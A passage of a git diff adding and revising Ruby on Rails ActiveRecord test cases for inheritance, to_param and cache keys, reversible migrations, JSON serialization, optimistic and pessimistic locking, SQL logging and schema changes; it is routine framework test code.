+ cabbage = vegetable.becomes!(Cabbage)
+ assert_equal "Cabbage", cabbage.custom_type
+
+ vegetable = cabbage.becomes!(Vegetable)
+ assert_nil cabbage.custom_type
+ end
+
def test_inheritance_find_all
companies = Company.all.merge!(:order => 'id').to_a
assert_kind_of Firm, companies[0], "37signals should be a firm"
@@ -171,6 +176,20 @@ class InheritanceTest < ActiveRecord::TestCase
assert_equal Firm, firm.class
end
+ def test_new_with_abstract_class
+ e = assert_raises(NotImplementedError) do
+ AbstractCompany.new
+ end
+ assert_equal("AbstractCompany is an abstract class and cannot be instantiated.", e.message)
+ end
+
+ def test_new_with_ar_base
+ e = assert_raises(NotImplementedError) do
+ ActiveRecord::Base.new
+ end
+ assert_equal("ActiveRecord::Base is an abstract class and cannot be instantiated.", e.message)
+ end
+
def test_new_with_invalid_type
assert_raise(ActiveRecord::SubclassNotFound) { Company.new(:type => 'InvalidType') }
end
@@ -179,10 +198,25 @@ class InheritanceTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::SubclassNotFound) { Company.new(:type => 'Account') }
end
+ def test_new_with_complex_inheritance
+ assert_nothing_raised { Client.new(type: 'VerySpecialClient') }
+ end
+
+ def test_new_with_autoload_paths
+ path = File.expand_path('../../models/autoloadable', __FILE__)
+ ActiveSupport::Dependencies.autoload_paths << path
+
+ firm = Company.new(:type => 'ExtraFirm')
+ assert_equal ExtraFirm, firm.class
+ ensure
+ ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
+ ActiveSupport::Dependencies.clear
+ end
+
def test_inheritance_condition
- assert_equal 10, Company.count
+ assert_equal 11, Company.count
assert_equal 2, Firm.count
- assert_equal 4, Client.count
+ assert_equal 5, Client.count
end
def test_alt_inheritance_condition
@@ -283,8 +317,12 @@ class InheritanceTest < ActiveRecord::TestCase
assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
end
-end
+ def test_scope_inherited_properly
+ assert_nothing_raised { Company.of_first_firm }
+ assert_nothing_raised { Client.of_first_firm }
+ end
+end
class InheritanceComputeTypeTest < ActiveRecord::TestCase
fixtures :companies
@@ -293,7 +331,7 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
ActiveSupport::Dependencies.log_activity = true
end
- def teardown
+ teardown do
ActiveSupport::Dependencies.log_activity = false
self.class.const_remove :FirmOnTheFly rescue nil
Firm.const_remove :FirmOnTheFly rescue nil
@@ -322,4 +360,10 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
ensure
ActiveRecord::Base.store_full_sti_class = true
end
+
+ def test_sti_type_from_attributes_disabled_in_non_sti_class
+ phone = Shop::Product::Type.new(name: 'Phone')
+ product = Shop::Product.new(:type => phone)
+ assert product.save
+ end
end
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
new file mode 100644
index 0000000000..0021988083
--- /dev/null
+++ b/activerecord/test/cases/integration_test.rb
@@ -0,0 +1,139 @@
+# encoding: utf-8
+
+require 'cases/helper'
+require 'models/company'
+require 'models/developer'
+require 'models/computer'
+require 'models/owner'
+require 'models/pet'
+
+class IntegrationTest < ActiveRecord::TestCase
+ fixtures :companies, :developers, :owners, :pets
+
+ def test_to_param_should_return_string
+ assert_kind_of String, Client.first.to_param
+ end
+
+ def test_to_param_returns_nil_if_not_persisted
+ client = Client.new
+ assert_equal nil, client.to_param
+ end
+
+ def test_to_param_returns_id_if_not_persisted_but_id_is_set
+ client = Client.new
+ client.id = 1
+ assert_equal '1', client.to_param
+ end
+
+ def test_to_param_class_method
+ firm = Firm.find(4)
+ assert_equal '4-flamboyant-software', firm.to_param
+ end
+
+ def test_to_param_class_method_truncates
+ firm = Firm.find(4)
+ firm.name = 'a ' * 100
+ assert_equal '4-a-a-a-a-a-a-a-a-a', firm.to_param
+ end
+
+ def test_to_param_class_method_truncates_edge_case
+ firm = Firm.find(4)
+ firm.name = 'David HeinemeierHansson'
+ assert_equal '4-david', firm.to_param
+ end
+
+ def test_to_param_class_method_squishes
+ firm = Firm.find(4)
+ firm.name = "ab \n" * 100
+ assert_equal '4-ab-ab-ab-ab-ab-ab', firm.to_param
+ end
+
+ def test_to_param_class_method_multibyte_character
+ firm = Firm.find(4)
+ firm.name = "戦場ヶ原 ã²ãŸãŽ"
+ assert_equal '4', firm.to_param
+ end
+
+ def test_to_param_class_method_uses_default_if_blank
+ firm = Firm.find(4)
+ firm.name = nil
+ assert_equal '4', firm.to_param
+ firm.name = ' '
+ assert_equal '4', firm.to_param
+ end
+
+ def test_to_param_class_method_uses_default_if_not_persisted
+ firm = Firm.new(name: 'Fancy Shirts')
+ assert_equal nil, firm.to_param
+ end
+
+ def test_to_param_with_no_arguments
+ assert_equal 'Firm', Firm.to_param
+ end
+
+ def test_cache_key_for_existing_record_is_not_timezone_dependent
+ utc_key = Developer.first.cache_key
+
+ with_timezone_config zone: "EST" do
+ est_key = Developer.first.cache_key
+ assert_equal utc_key, est_key
+ end
+ end
+
+ def test_cache_key_format_for_existing_record_with_updated_at
+ dev = Developer.first
+ assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format
+ dev = CachedDeveloper.first
+ assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
+ end
+
+ def test_cache_key_changes_when_child_touched
+ owner = owners(:blackbeard)
+ pet = pets(:parrot)
+
+ owner.update_column :updated_at, Time.current
+ key = owner.cache_key
+
+ assert pet.touch
+ assert_not_equal key, owner.reload.cache_key
+ end
+
+ def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
+ dev = Developer.first
+ dev.update_columns(updated_at: nil, updated_on: nil)
+ assert_match(/\/#{dev.id}$/, dev.cache_key)
+ end
+
+ def test_cache_key_for_updated_on
+ dev = Developer.first
+ dev.updated_at = nil
+ assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_for_newer_updated_at
+ dev = Developer.first
+ dev.updated_at += 3600
+ assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_for_newer_updated_on
+ dev = Developer.first
+ dev.updated_on += 3600
+ assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_format_is_precise_enough
+ dev = Developer.first
+ key = dev.cache_key
+ dev.touch
+ assert_not_equal key, dev.cache_key
+ end
+
+ def test_named_timestamps_for_cache_key
+ owner = owners(:blackbeard)
+ assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:nsec)}", owner.cache_key(:updated_at, :happy_at)
+ end
+end
diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb
new file mode 100644
index 0000000000..8416c81f45
--- /dev/null
+++ b/activerecord/test/cases/invalid_connection_test.rb
@@ -0,0 +1,22 @@
+require "cases/helper"
+
+class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Bird < ActiveRecord::Base
+ end
+
+ def setup
+ # Can't just use current adapter; sqlite3 will create a database
+ # file on the fly.
+ Bird.establish_connection adapter: 'mysql', database: 'i_do_not_exist'
+ end
+
+ teardown do
+ Bird.remove_connection
+ end
+
+ test "inspect on Model class does not raise" do
+ assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect
+ end
+end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index 8f1cdd47ea..8144f3e5c5 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -17,6 +17,37 @@ module ActiveRecord
end
end
+ class InvertibleRevertMigration < SilentMigration
+ def change
+ revert do
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ end
+
+ class InvertibleByPartsMigration < SilentMigration
+ attr_writer :test
+ def change
+ create_table("new_horses") do |t|
+ t.column :breed, :string
+ end
+ reversible do |dir|
+ @test.yield :both
+ dir.up { @test.yield :up }
+ dir.down { @test.yield :down }
+ end
+ revert do
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ end
+
class NonInvertibleMigration < SilentMigration
def change
create_table("horses") do |t|
@@ -27,6 +58,24 @@ module ActiveRecord
end
end
+ class RemoveIndexMigration1 < SilentMigration
+ def self.up
+ create_table("horses") do |t|
+ t.column :name, :string
+ t.column :color, :string
+ t.index [:name, :color]
+ end
+ end
+ end
+
+ class RemoveIndexMigration2 < SilentMigration
+ def change
+ change_table("horses") do |t|
+ t.remove_index [:name, :color]
+ end
+ end
+ end
+
class LegacyMigration < ActiveRecord::Migration
def self.up
create_table("horses") do |t|
@@ -40,12 +89,52 @@ module ActiveRecord
end
end
- def teardown
- if ActiveRecord::Base.connection.table_exists?("horses")
- ActiveRecord::Base.connection.drop_table("horses")
+ class RevertWholeMigration < SilentMigration
+ def initialize(name = self.class.name, version = nil, migration)
+ @migration = migration
+ super(name, version)
+ end
+
+ def change
+ revert @migration
+ end
+ end
+
+ class NestedRevertWholeMigration < RevertWholeMigration
+ def change
+ revert { super }
+ end
+ end
+
+ class RevertNamedIndexMigration1 < SilentMigration
+ def change
+ create_table("horses") do |t|
+ t.column :content, :string
+ t.column :remind_at, :datetime
+ end
+ add_index :horses, :content
+ end
+ end
+
+ class RevertNamedIndexMigration2 < SilentMigration
+ def change
+ add_index :horses, :content, name: "horses_index_named"
end
end
+ setup do
+ @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+ end
+
+ teardown do
+ %w[horses new_horses].each do |table|
+ if ActiveRecord::Base.connection.table_exists?(table)
+ ActiveRecord::Base.connection.drop_table(table)
+ end
+ end
+ ActiveRecord::Migration.verbose = @verbose_was
+ end
+
def test_no_reverse
migration = NonInvertibleMigration.new
migration.migrate(:up)
@@ -54,6 +143,16 @@ module ActiveRecord
end
end
+ def test_exception_on_removing_index_without_column_option
+ RemoveIndexMigration1.new.migrate(:up)
+ migration = RemoveIndexMigration2.new
+ migration.migrate(:up)
+
+ assert_raises(IrreversibleMigration) do
+ migration.migrate(:down)
+ end
+ end
+
def test_migrate_up
migration = InvertibleMigration.new
migration.migrate(:up)
@@ -67,6 +166,83 @@ module ActiveRecord
assert !migration.connection.table_exists?("horses")
end
+ def test_migrate_revert
+ migration = InvertibleMigration.new
+ revert = InvertibleRevertMigration.new
+ migration.migrate :up
+ revert.migrate :up
+ assert !migration.connection.table_exists?("horses")
+ revert.migrate :down
+ assert migration.connection.table_exists?("horses")
+ migration.migrate :down
+ assert !migration.connection.table_exists?("horses")
+ end
+
+ def test_migrate_revert_by_part
+ InvertibleMigration.new.migrate :up
+ received = []
+ migration = InvertibleByPartsMigration.new
+ migration.test = ->(dir){
+ assert migration.connection.table_exists?("horses")
+ assert migration.connection.table_exists?("new_horses")
+ received << dir
+ }
+ migration.migrate :up
+ assert_equal [:both, :up], received
+ assert !migration.connection.table_exists?("horses")
+ assert migration.connection.table_exists?("new_horses")
+ migration.migrate :down
+ assert_equal [:both, :up, :both, :down], received
+ assert migration.connection.table_exists?("horses")
+ assert !migration.connection.table_exists?("new_horses")
+ end
+
+ def test_migrate_revert_whole_migration
+ migration = InvertibleMigration.new
+ [LegacyMigration, InvertibleMigration].each do |klass|
+ revert = RevertWholeMigration.new(klass)
+ migration.migrate :up
+ revert.migrate :up
+ assert !migration.connection.table_exists?("horses")
+ revert.migrate :down
+ assert migration.connection.table_exists?("horses")
+ migration.migrate :down
+ assert !migration.connection.table_exists?("horses")
+ end
+ end
+
+ def test_migrate_nested_revert_whole_migration
+ revert = NestedRevertWholeMigration.new(InvertibleRevertMigration)
+ revert.migrate :down
+ assert revert.connection.table_exists?("horses")
+ revert.migrate :up
+ assert !revert.connection.table_exists?("horses")
+ end
+
+ def test_revert_order
+ block = Proc.new{|t| t.string :name }
+ recorder = ActiveRecord::Migration::CommandRecorder.new(ActiveRecord::Base.connection)
+ recorder.instance_eval do
+ create_table("apples", &block)
+ revert do
+ create_table("bananas", &block)
+ revert do
+ create_table("clementines")
+ create_table("dates")
+ end
+ create_table("elderberries")
+ end
+ revert do
+ create_table("figs")
+ create_table("grapes")
+ end
+ end
+ assert_equal [[:create_table, ["apples"], block], [:drop_table, ["elderberries"], nil],
+ [:create_table, ["clementines"], nil], [:create_table, ["dates"], nil],
+ [:drop_table, ["bananas"], block], [:drop_table, ["grapes"], nil],
+ [:drop_table, ["figs"], nil]], recorder.commands
+ end
+
def test_legacy_up
LegacyMigration.migrate :up
assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
@@ -100,5 +276,20 @@ module ActiveRecord
ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ''
end
+ # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns
+ unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :OracleAdapter)
+ def test_migrate_revert_add_index_with_name
+ RevertNamedIndexMigration1.new.migrate(:up)
+ RevertNamedIndexMigration2.new.migrate(:up)
+ RevertNamedIndexMigration2.new.migrate(:down)
+
+ connection = ActiveRecord::Base.connection
+ assert connection.index_exists?(:horses, :content),
+ "index on content should exist"
+ assert !connection.index_exists?(:horses, :content, name: "horses_index_named"),
+ "horses_index_named index should not exist"
+ end
+ end
+
end
end
diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb
index a86b165c78..a222675918 100644
--- a/activerecord/test/cases/json_serialization_test.rb
+++ b/activerecord/test/cases/json_serialization_test.rb
@@ -6,7 +6,21 @@ require 'models/tagging'
require 'models/tag'
require 'models/comment'
+module JsonSerializationHelpers
+ private
+
+ def set_include_root_in_json(value)
+ original_root_in_json = ActiveRecord::Base.include_root_in_json
+ ActiveRecord::Base.include_root_in_json = value
+ yield
+ ensure
+ ActiveRecord::Base.include_root_in_json = original_root_in_json
+ end
+end
+
class JsonSerializationTest < ActiveRecord::TestCase
+ include JsonSerializationHelpers
+
class NamespacedContact < Contact
column :name, :string
end
@@ -23,20 +37,24 @@ class JsonSerializationTest < ActiveRecord::TestCase
end
def test_should_demodulize_root_in_json
- @contact = NamespacedContact.new :name => 'whatever'
- json = @contact.to_json
- assert_match %r{^\{"namespaced_contact":\{}, json
+ set_include_root_in_json(true) do
+ @contact = NamespacedContact.new name: 'whatever'
+ json = @contact.to_json
+ assert_match %r{^\{"namespaced_contact":\{}, json
+ end
end
def test_should_include_root_in_json
- json = @contact.to_json
-
- assert_match %r{^\{"contact":\{}, json
- assert_match %r{"name":"Konata Izumi"}, json
- assert_match %r{"age":16}, json
- assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
- assert_match %r{"awesome":true}, json
- assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ set_include_root_in_json(true) do
+ json = @contact.to_json
+
+ assert_match %r{^\{"contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
end
def test_should_encode_all_encodable_attributes
@@ -141,6 +159,8 @@ end
class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
fixtures :authors, :posts, :comments, :tags, :taggings
+ include JsonSerializationHelpers
+
def setup
@david = authors(:david)
@mary = authors(:mary)
@@ -227,23 +247,21 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
end
def test_should_allow_only_option_for_list_of_authors
- ActiveRecord::Base.include_root_in_json = false
- authors = [@david, @mary]
- assert_equal %([{"name":"David"},{"name":"Mary"}]), ActiveSupport::JSON.encode(authors, :only => :name)
- ensure
- ActiveRecord::Base.include_root_in_json = true
+ set_include_root_in_json(false) do
+ authors = [@david, @mary]
+ assert_equal %([{"name":"David"},{"name":"Mary"}]), ActiveSupport::JSON.encode(authors, only: :name)
+ end
end
def test_should_allow_except_option_for_list_of_authors
- ActiveRecord::Base.include_root_in_json = false
- authors = [@david, @mary]
- encoded = ActiveSupport::JSON.encode(authors, :except => [
- :name, :author_address_id, :author_address_extra_id,
- :organization_id, :owned_essay_id
- ])
- assert_equal %([{"id":1},{"id":2}]), encoded
- ensure
- ActiveRecord::Base.include_root_in_json = true
+ set_include_root_in_json(false) do
+ authors = [@david, @mary]
+ encoded = ActiveSupport::JSON.encode(authors, except: [
+ :name, :author_address_id, :author_address_extra_id,
+ :organization_id, :owned_essay_id
+ ])
+ assert_equal %([{"id":1},{"id":2}]), encoded
+ end
end
def test_should_allow_includes_for_list_of_authors
@@ -262,17 +280,21 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
end
def test_should_allow_options_for_hash_of_authors
- authors_hash = {
- 1 => @david,
- 2 => @mary
- }
- assert_equal %({"1":{"author":{"name":"David"}}}), ActiveSupport::JSON.encode(authors_hash, :only => [1, :name])
+ set_include_root_in_json(true) do
+ authors_hash = {
+ 1 => @david,
+ 2 => @mary
+ }
+ assert_equal %({"1":{"author":{"name":"David"}}}), ActiveSupport::JSON.encode(authors_hash, only: [1, :name])
+ end
end
def test_should_be_able_to_encode_relation
- authors_relation = Author.where(:id => [@david.id, @mary.id])
+ set_include_root_in_json(true) do
+ authors_relation = Author.where(id: [@david.id, @mary.id])
- json = ActiveSupport::JSON.encode authors_relation, :only => :name
- assert_equal '[{"author":{"name":"David"}},{"author":{"name":"Mary"}}]', json
+ json = ActiveSupport::JSON.encode authors_relation, only: :name
+ assert_equal '[{"author":{"name":"David"}},{"author":{"name":"Mary"}}]', json
+ end
end
end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index 2392516395..5a4b1fb919 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -5,9 +5,11 @@ require 'models/job'
require 'models/reader'
require 'models/ship'
require 'models/legacy_thing'
+require 'models/personal_legacy_thing'
require 'models/reference'
require 'models/string_key_object'
require 'models/car'
+require 'models/bulb'
require 'models/engine'
require 'models/wheel'
require 'models/treasure'
@@ -16,6 +18,7 @@ class LockWithoutDefault < ActiveRecord::Base; end
class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
self.table_name = :lock_without_defaults_cust
+ self.column_defaults # to test @column_defaults caching.
self.locking_column = :custom_lock_version
end
@@ -26,6 +29,18 @@ end
class OptimisticLockingTest < ActiveRecord::TestCase
fixtures :people, :legacy_things, :references, :string_key_objects, :peoples_treasures
+ def test_quote_value_passed_lock_col
+ p1 = Person.find(1)
+ assert_equal 0, p1.lock_version
+
+ Person.expects(:quote_value).with(0, Person.columns_hash[Person.locking_column]).returns('0').once
+
+ p1.first_name = 'anika2'
+ p1.save!
+
+ assert_equal 1, p1.lock_version
+ end
+
def test_non_integer_lock_existing
s1 = StringKeyObject.find("record1")
s2 = StringKeyObject.find("record1")
@@ -193,11 +208,19 @@ class OptimisticLockingTest < ActiveRecord::TestCase
def test_lock_without_default_sets_version_to_zero
t1 = LockWithoutDefault.new
assert_equal 0, t1.lock_version
+
+ t1.save
+ t1 = LockWithoutDefault.find(t1.id)
+ assert_equal 0, t1.lock_version
end
def test_lock_with_custom_column_without_default_sets_version_to_zero
t1 = LockWithCustomColumnWithoutDefault.new
assert_equal 0, t1.custom_lock_version
+
+ t1.save
+ t1 = LockWithCustomColumnWithoutDefault.find(t1.id)
+ assert_equal 0, t1.custom_lock_version
end
def test_readonly_attributes
@@ -207,7 +230,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
s.reload
assert_equal "unchangeable name", s.name
- s.update_attributes(:name => "changed name")
+ s.update(name: "changed name")
s.reload
assert_equal "unchangeable name", s.name
end
@@ -234,7 +257,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
car = Car.create!
assert_difference 'car.wheels.count' do
- car.wheels << Wheel.create!
+ car.wheels << Wheel.create!
end
assert_difference 'car.wheels.count', -1 do
car.destroy
@@ -250,6 +273,13 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert p.treasures.empty?
assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
end
+
+ def test_yaml_dumping_with_lock_column
+ t1 = LockWithoutDefault.new
+ t2 = YAML.load(YAML.dump(t1))
+
+ assert_equal t1.attributes, t2.attributes
+ end
end
class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
@@ -282,30 +312,24 @@ class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
# See Lighthouse ticket #1966
def test_destroy_dependents
- # Establish dependent relationship between People and LegacyThing
- add_counter_column_to(Person, 'legacy_things_count')
- LegacyThing.connection.add_column LegacyThing.table_name, 'person_id', :integer
- LegacyThing.reset_column_information
- LegacyThing.class_eval do
- belongs_to :person, :counter_cache => true
- end
- Person.class_eval do
- has_many :legacy_things, :dependent => :destroy
- end
+ # Establish dependent relationship between Person and PersonalLegacyThing
+ add_counter_column_to(Person, 'personal_legacy_things_count')
+ PersonalLegacyThing.reset_column_information
# Make sure that counter incrementing doesn't cause problems
p1 = Person.new(:first_name => 'fjord')
p1.save!
- t = LegacyThing.new(:person => p1)
+ t = PersonalLegacyThing.new(:person => p1)
t.save!
p1.reload
- assert_equal 1, p1.legacy_things_count
+ assert_equal 1, p1.personal_legacy_things_count
assert p1.destroy
assert_equal true, p1.frozen?
assert_raises(ActiveRecord::RecordNotFound) { Person.find(p1.id) }
- assert_raises(ActiveRecord::RecordNotFound) { LegacyThing.find(t.id) }
+ assert_raises(ActiveRecord::RecordNotFound) { PersonalLegacyThing.find(t.id) }
ensure
- remove_counter_column_from(Person, 'legacy_things_count')
+ remove_counter_column_from(Person, 'personal_legacy_things_count')
+ PersonalLegacyThing.reset_column_information
end
private
@@ -313,8 +337,6 @@ class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
def add_counter_column_to(model, col='test_count')
model.connection.add_column model.table_name, col, :integer, :null => false, :default => 0
model.reset_column_information
- # OpenBase does not set a value to existing rows when adding a not null default column
- model.update_all(col => 0) if current_adapter?(:OpenBaseAdapter)
end
def remove_counter_column_from(model, col = :test_count)
@@ -341,10 +363,7 @@ end
# is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
# blocks, so separate script called by Kernel#system is needed.
# (See exec vs. async_exec in the PostgreSQL adapter.)
-
-# TODO: The Sybase, and OpenBase adapters currently have no support for pessimistic locking
-
-unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
+unless in_memory_db?
class PessimisticLockingTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
fixtures :people, :readers
@@ -408,6 +427,17 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
assert_equal old, person.reload.first_name
end
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_lock_sending_custom_lock_statement
+ Person.transaction do
+ person = Person.find(1)
+ assert_sql(/LIMIT 1 FOR SHARE NOWAIT/) do
+ person.lock!('FOR SHARE NOWAIT')
+ end
+ end
+ end
+ end
+
if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
def test_no_locks_no_wait
first, second = duel { Person.find 1 }
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
index 70d00aecf9..a578e81844 100644
--- a/activerecord/test/cases/log_subscriber_test.rb
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require "models/binary"
require "models/developer"
require "models/post"
require "active_support/log_subscriber/test_helper"
@@ -7,6 +8,19 @@ class LogSubscriberTest < ActiveRecord::TestCase
include ActiveSupport::LogSubscriber::TestHelper
include ActiveSupport::Logger::Severity
+ class TestDebugLogSubscriber < ActiveRecord::LogSubscriber
+ attr_reader :debugs
+
+ def initialize
+ @debugs = []
+ super
+ end
+
+ def debug message
+ @debugs << message
+ end
+ end
+
fixtures :posts
def setup
@@ -29,30 +43,34 @@ class LogSubscriberTest < ActiveRecord::TestCase
def test_schema_statements_are_ignored
event = Struct.new(:duration, :payload)
- logger = Class.new(ActiveRecord::LogSubscriber) {
- attr_accessor :debugs
-
- def initialize
- @debugs = []
- super
- end
-
- def debug message
- @debugs << message
- end
- }.new
+ logger = TestDebugLogSubscriber.new
assert_equal 0, logger.debugs.length
- logger.sql(event.new(0, { :sql => 'hi mom!' }))
+ logger.sql(event.new(0, sql: 'hi mom!'))
assert_equal 1, logger.debugs.length
- logger.sql(event.new(0, { :sql => 'hi mom!', :name => 'foo' }))
+ logger.sql(event.new(0, sql: 'hi mom!', name: 'foo'))
assert_equal 2, logger.debugs.length
- logger.sql(event.new(0, { :sql => 'hi mom!', :name => 'SCHEMA' }))
+ logger.sql(event.new(0, sql: 'hi mom!', name: 'SCHEMA'))
assert_equal 2, logger.debugs.length
end
+ def test_sql_statements_are_not_squeezed
+ event = Struct.new(:duration, :payload)
+ logger = TestDebugLogSubscriber.new
+ logger.sql(event.new(0, sql: 'ruby rails'))
+ assert_match(/ruby rails/, logger.debugs.first)
+ end
+
+ def test_ignore_binds_payload_with_nil_column
+ event = Struct.new(:duration, :payload)
+
+ logger = TestDebugLogSubscriber.new
+ logger.sql(event.new(0, sql: 'hi mom!', binds: [[nil, 1]]))
+ assert_equal 1, logger.debugs.length
+ end
+
def test_basic_query_logging
Developer.all.load
wait
@@ -100,4 +118,19 @@ class LogSubscriberTest < ActiveRecord::TestCase
def test_initializes_runtime
Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
end
+
+ unless current_adapter?(:Mysql2Adapter)
+ def test_binary_data_is_not_logged
+ Binary.create(data: 'some binary data')
+ wait
+ assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+ end
+
+ def test_nil_binary_data_is_logged
+ binary = Binary.create(data: "")
+ binary.update_attributes(data: nil)
+ wait
+ assert_match(/<NULL binary data>/, @logger.logged(:debug).join)
+ end
+ end
end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
index 86451289e7..d91e7142b3 100644
--- a/activerecord/test/cases/migration/change_schema_test.rb
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -11,10 +11,10 @@ module ActiveRecord
@table_name = :testings
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
ActiveRecord::Base.primary_key_prefix_type = nil
+ ActiveRecord::Base.clear_cache!
end
def test_create_table_without_id
@@ -35,7 +35,7 @@ module ActiveRecord
t.column :foo, :string
end
- assert_equal %w(foo id), connection.columns(:testings).map(&:name).sort
+ assert_equal %w(id foo), connection.columns(:testings).map(&:name)
end
def test_create_table_with_not_null_column
@@ -50,7 +50,7 @@ module ActiveRecord
def test_create_table_with_defaults
# MySQL doesn't allow defaults on TEXT or BLOB columns.
- mysql = current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
+ mysql = current_adapter?(:MysqlAdapter, :Mysql2Adapter)
connection.create_table :testings do |t|
t.column :one, :string, :default => "hello"
@@ -68,12 +68,54 @@ module ActiveRecord
five = columns.detect { |c| c.name == "five" } unless mysql
assert_equal "hello", one.default
- assert_equal true, two.default
- assert_equal false, three.default
- assert_equal 1, four.default
+ assert_equal true, two.type_cast_from_database(two.default)
+ assert_equal false, three.type_cast_from_database(three.default)
+ assert_equal '1', four.default
assert_equal "hello", five.default unless mysql
end
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_add_column_with_array
+ connection.create_table :testings
+ connection.add_column :testings, :foo, :string, :array => true
+
+ columns = connection.columns(:testings)
+ array_column = columns.detect { |c| c.name == "foo" }
+
+ assert array_column.array
+ end
+
+ def test_create_table_with_array_column
+ connection.create_table :testings do |t|
+ t.string :foo, :array => true
+ end
+
+ columns = connection.columns(:testings)
+ array_column = columns.detect { |c| c.name == "foo" }
+
+ assert array_column.array
+ end
+ end
+
+ def test_create_table_with_bigint
+ connection.create_table :testings do |t|
+ t.bigint :eight_int
+ end
+ columns = connection.columns(:testings)
+ eight = columns.detect { |c| c.name == "eight_int" }
+
+ if current_adapter?(:OracleAdapter)
+ assert_equal 'NUMBER(8)', eight.sql_type
+ elsif current_adapter?(:SQLite3Adapter)
+ assert_equal 'bigint', eight.sql_type
+ else
+ assert_equal :integer, eight.type
+ assert_equal 8, eight.limit
+ end
+ ensure
+ connection.drop_table :testings
+ end
+
def test_create_table_with_limits
connection.create_table :testings do |t|
t.column :foo, :string, :limit => 255
@@ -99,7 +141,7 @@ module ActiveRecord
assert_equal 'smallint', one.sql_type
assert_equal 'integer', four.sql_type
assert_equal 'bigint', eight.sql_type
- elsif current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+ elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
assert_match 'int(11)', default.sql_type
assert_match 'tinyint', one.sql_type
assert_match 'int', four.sql_type
@@ -119,7 +161,7 @@ module ActiveRecord
t.column :foo, :string
end
- assert_equal %w(foo testing_id), connection.columns(:testings).map(&:name).sort
+ assert_equal %w(testing_id foo), connection.columns(:testings).map(&:name)
end
def test_create_table_with_primary_key_prefix_as_table_name
@@ -129,7 +171,7 @@ module ActiveRecord
t.column :foo, :string
end
- assert_equal %w(foo testingid), connection.columns(:testings).map(&:name).sort
